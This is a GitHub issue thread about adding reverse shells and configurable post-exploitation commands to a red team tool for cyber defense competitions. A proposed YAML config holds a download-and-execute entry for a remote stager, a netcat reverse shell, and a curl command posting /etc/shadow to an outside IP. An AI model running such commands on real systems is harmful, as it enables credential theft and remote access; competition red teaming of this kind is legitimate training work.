mgerst / flag-slurper

A red team utility for Cyber Defense Competitions.
https://flag-slurper.rtfd.io
MIT License
3 stars 2 forks source link

Reverse Shells #26

Open mgerst opened 6 years ago

mgerst commented 6 years ago

Create a reverse shell from the autopwnd boxes.

k3an3 commented 6 years ago

Curious how you plan to proceed with this. Are you looking at building a shell handler within the application, or using an external/pre-existing one (e.g. MSF multi/handler).

mgerst commented 6 years ago

I was thinking about doing external at first just to have it done, but when I saw that paramiko let's you write SSH servers I thought it might be fun to see how far I can push that and/or abuse SSH.

I'm definitely open to suggestions.

mgerst commented 6 years ago

I got the idea for this from IT-O since from someone else already doing it. I believe with MSF multi handlers.

k3an3 commented 6 years ago

I'm curious what you would do with SSH servers, whether you mean to deploy it to the target or run it locally?

Yeah, I guess if you already have SSH access, why downgrade to a reverse shell? Well, reverse shells would come in handy if you were using an autolib pwn_func that isn't as functional as SSH.

Maybe instead of hardcoding reverse shell logic, it would be more flexible to allow arbitrary post-pwn commands per-service. That way, you would be able to adjust on the fly and not need to worry if the target doesn't have Python (gasp), which netcat is installed etc.. It would also allow for custom commands to be run for persistence purposes.

mgerst commented 6 years ago

It would run locally. The idea is to use SSH channels to not only have access to a shell but also internal network access (in the form of forwards). At least, in theory that might work.

Also the arbitrary post pwn commands is absolutely the intention (I mean it wouldn't be one of my projects without some sort of plugin system would it?). Same for the actual service pwn functions themselves.

k3an3 commented 6 years ago

Here's my take on a basic implementation:

Expand the project YAML config to support post :

_version: "1.0"
project: ISU2 2018
base: ~/cdcs/isu2-18
flags:
  - service: WWW SSH
    type: blue
    location: /root
    name: "team{{ num }}_www_root.flag"
    search: yes
post:
  - service: WWW SSH
    commands: 
 # Download and exec file using wget/curl/powershell
      - type: download
        url: http://12.110.123.123:8080/1337 # could be a MSF stager
        shell: no # whether to pipe to shell or write to disk & exec
 # Use a hardcoded reverse shell
      - type: reverse 
        method: nc_tmpfifo
        lhost: 12.110.123.123
        lport: 1337
# Run whatever command
      - type: raw
        command: curl 12.110.123.123:8080/shadowz -d @/etc/shadow # I realize you already exfil files; this is just an example

And then the commands would be looped over in autolib.post. Not sure if this is the best way, but it seems easy from a configuration perspective.

mgerst commented 6 years ago

I like that. I want to be able to support custom post actions, so I'm thinking of something a little closer to what CircleCI does:

...
post:
  - service: WWW SSH
    commands:
      - download:
          ...
      - reverse:
          ...

Which would allow easier validation of the parameters. I'm also need to rethink how I handle the config and project classes. Part of the reason the pwn_func signature is the way it is to support using multiprocessing for autopwn. Since I can't pass around objects that are too complicated without running into issues. I don't want to just re-parse the project/config for each service (the config has the possibility of prompting for credentials).

I might be able to serialize them and load them again in pwn_service.